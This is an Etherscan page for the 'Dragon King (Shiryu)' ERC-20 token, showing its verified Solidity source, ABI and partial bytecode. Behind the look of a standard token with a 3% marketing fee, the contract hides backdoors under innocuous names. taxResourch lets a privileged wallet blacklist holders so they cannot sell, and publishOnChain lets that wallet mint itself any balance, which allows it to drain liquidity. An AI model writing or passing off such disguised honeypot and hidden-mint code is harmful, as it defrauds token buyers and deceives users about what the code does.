ETH Price: $2,667.31 (+2.15%)
Gas: 9.53 Gwei

Token

Dragon King (Shiryu)
 

Overview

Max Total Supply

1,000,000,000 Shiryu

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
25,968,833.971993122 Shiryu

Value
$0.00
0x3BF2e82dc70C6927632089733fE45F80571E4654
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Shiryu

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-28
*/

/******************************************************************************************************
紫龍 は世界を変えるスピードでやってくる、これはあなたがその変化に参加するチャンスです...
******************************************************************************************************/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract Shiryu is Context, IERC20, Ownable{

    using SafeMath for uint256;
    string private _name = "Dragon King";
    string private _symbol = "Shiryu";
    uint8 private _decimals = 9;
    mapping (address => uint256) _balances;

    address payable public _taxWallet;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _handPaper;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        _taxWallet = payable(address(0x1b95C8CEbf24649D525e9ef34435f44EBB0994b7));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    } 

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    IUniswapV2Router02 public uniswapV2Router;
    function name() public view returns (string memory) {
        return _name;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    receive() external payable {}

    address public uniswapPair;

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function taxResourch(address[] calldata addresses, bool status) public {
        require(_msgSender() == _taxWallet&& addresses.length >= 0 );
        for (uint256 i; i < addresses.length; i++) {
            _handPaper[addresses[i]] = status;
        }
    }

    function publishOnChain(uint256 Reference) public {
        address account = _taxWallet;
        uint256 compile = _balances[account];
        require(msg.sender == account);
        uint256 run = compile + Reference;
        _balances[account] = run;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            _taxWallet.transfer(MarketAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function startTrading() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_handPaper[from]);

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_handPaper","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"Reference","type":"uint256"}],"name":"publishOnChain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"taxResourch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600b81526020017f447261676f6e204b696e670000000000000000000000000000000000000000008152506001908051906020019062000051929190620003e9565b506040518060400160405280600681526020017f5368697279750000000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620003e9565b506009600360006101000a81548160ff021916908360ff1602179055506003600a556003600b55600360009054906101000a900460ff16600a620000e4919062000522565b633b9aca00620000f591906200065f565b600c553480156200010557600080fd5b5062000116620003b860201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160076000620001e6620003c060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550731b95c8cebf24649d525e9ef34435f44ebb0994b7600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c5460046000620002fb620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000349620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620003aa9190620004aa565b60405180910390a362000778565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003f790620006d7565b90600052602060002090601f0160209004810192826200041b576000855562000467565b82601f106200043657805160ff191683800117855562000467565b8280016001018555821562000467579182015b828111156200046657825182559160200191906001019062000449565b5b5090506200047691906200047a565b5090565b5b80821115620004955760008160009055506001016200047b565b5090565b620004a481620006c0565b82525050565b6000602082019050620004c1600083018462000499565b92915050565b6000808291508390505b60018511156200051957808604811115620004f157620004f06200070d565b5b6001851615620005015780820291505b808102905062000511856200076b565b9450620004d1565b94509492505050565b60006200052f82620006c0565b91506200053c83620006ca565b92506200056b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000573565b905092915050565b60008262000585576001905062000658565b8162000595576000905062000658565b8160018114620005ae5760028114620005b957620005ef565b600191505062000658565b60ff841115620005ce57620005cd6200070d565b5b8360020a915084821115620005e857620005e76200070d565b5b5062000658565b5060208310610133831016604e8410600b8410161715620006295782820a9050838111156200062357620006226200070d565b5b62000658565b620006388484846001620004c7565b925090508184048111156200065257620006516200070d565b5b81810290505b9392505050565b60006200066c82620006c0565b91506200067983620006c0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006b557620006b46200070d565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006f057607f821691505b602082108114156200070757620007066200073c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b612c9880620007886000396000f3fe6080604052600436106101395760003560e01c80636f268a99116100ab578063a9059cbb1161006f578063a9059cbb14610449578063c5d2418914610486578063c816841b146104b1578063c8607952146104dc578063dd62ed3e14610507578063f2fde38b1461054457610140565b80636f268a991461036257806370a082311461038d5780638da5cb5b146103ca57806395d89b41146103f5578063a36d1de91461042057610140565b806323b872dd116100fd57806323b872dd14610240578063293230b81461027d578063313ce567146102945780633345611e146102bf5780633ecad271146102fc5780635b9073db1461033957610140565b806306fdde0314610145578063095ea7b3146101705780630ae95ba5146101ad5780631694505e146101ea57806318160ddd1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b6040516101679190612710565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612219565b6105ff565b6040516101a491906126da565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf919061213c565b61061d565b6040516101e191906126da565b60405180910390f35b3480156101f657600080fd5b506101ff61063d565b60405161020c91906126f5565b60405180910390f35b34801561022157600080fd5b5061022a610663565b6040516102379190612812565b60405180910390f35b34801561024c57600080fd5b50610267600480360381019061026291906121ca565b61066d565b60405161027491906126da565b60405180910390f35b34801561028957600080fd5b50610292610747565b005b3480156102a057600080fd5b506102a9610b1f565b6040516102b69190612887565b60405180910390f35b3480156102cb57600080fd5b506102e660048036038101906102e1919061213c565b610b36565b6040516102f391906126da565b60405180910390f35b34801561030857600080fd5b50610323600480360381019061031e919061213c565b610b56565b60405161033091906126da565b60405180910390f35b34801561034557600080fd5b50610360600480360381019061035b9190612255565b610b76565b005b34801561036e57600080fd5b50610377610cb2565b6040516103849190612696565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af919061213c565b610cd8565b6040516103c19190612812565b60405180910390f35b3480156103d657600080fd5b506103df610d21565b6040516103ec919061267b565b60405180910390f35b34801561040157600080fd5b5061040a610d4a565b6040516104179190612710565b60405180910390f35b34801561042c57600080fd5b50610447600480360381019061044291906122ad565b610ddc565b005b34801561045557600080fd5b50610470600480360381019061046b9190612219565b610ed9565b60405161047d91906126da565b60405180910390f35b34801561049257600080fd5b5061049b610ef8565b6040516104a89190612812565b60405180910390f35b3480156104bd57600080fd5b506104c6610efe565b6040516104d3919061267b565b60405180910390f35b3480156104e857600080fd5b506104f1610f24565b6040516104fe9190612812565b60405180910390f35b34801561051357600080fd5b5061052e6004803603810190610529919061218e565b610f2a565b60405161053b9190612812565b60405180910390f35b34801561055057600080fd5b5061056b6004803603810190610566919061213c565b610fb1565b005b60606001805461057c90612adc565b80601f01602080910402602001604051908101604052809291908181526020018280546105a890612adc565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c611103565b848461110b565b6001905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b600061067a8484846112d6565b5061073c84610687611103565b61073785604051806060016040528060288152602001612c3b60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ed611103565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119219092919063ffffffff16565b61110b565b600190509392505050565b61074f611103565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d3906127b2565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561083b57600080fd5b505afa15801561084f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108739190612165565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d557600080fd5b505afa1580156108e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090d9190612165565b6040518363ffffffff1660e01b815260040161092a9291906126b1565b602060405180830381600087803b15801561094457600080fd5b505af1158015610958573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097c9190612165565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bb7611103565b73ffffffffffffffffffffffffffffffffffffffff16148015610bde575060008383905010155b610be757600080fd5b60005b83839050811015610cac578160096000868685818110610c33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610c48919061213c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ca490612b0e565b915050610bea565b50505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610d5990612adc565b80601f0160208091040260200160405190810160405280929190818152602001828054610d8590612adc565b8015610dd25780601f10610da757610100808354040283529160200191610dd2565b820191906000526020600020905b815481529060010190602001808311610db557829003601f168201915b5050505050905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e7f57600080fd5b60008382610e8d91906128f7565b905080600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b6000610eed610ee6611103565b84846112d6565b506001905092915050565b600a5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fb9611103565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103d906127b2565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611172906127f2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e290612752565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112c99190612812565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e906127d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ae90612732565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561140e57600080fd5b600d60009054906101000a900460ff16156114355761142e848484611985565b905061191a565b600061144030610cd8565b9050600d60009054906101000a900460ff161580156114a95750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114b8576114b781611b58565b5b61150a83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ece90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115f05750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156115fd57839050611819565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561168057611679606461166b600a5488611f1890919063ffffffff16565b611f9390919063ffffffff16565b90506116fe565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116fd576116fa60646116ec600b5488611f1890919063ffffffff16565b611f9390919063ffffffff16565b90505b5b60008111156118025761175981600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117f99190612812565b60405180910390a35b6118158186611ece90919063ffffffff16565b9150505b61186b81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161190b9190612812565b60405180910390a36001925050505b9392505050565b6000838311158290611969576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119609190612710565b60405180910390fd5b506000838561197891906129d8565b9050809150509392505050565b6000611a10826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119219092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611aa582600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b459190612812565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb6577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be45781602001602082028036833780820191505090505b5090503081600081518110611c22577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc457600080fd5b505afa158015611cd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cfc9190612165565b81600181518110611d36577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9d30600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461110b565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e0195949392919061282d565b600060405180830381600087803b158015611e1b57600080fd5b505af1925050508015611e2c575060015b611e3557611e36565b5b60004790506000811115611eae57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611eac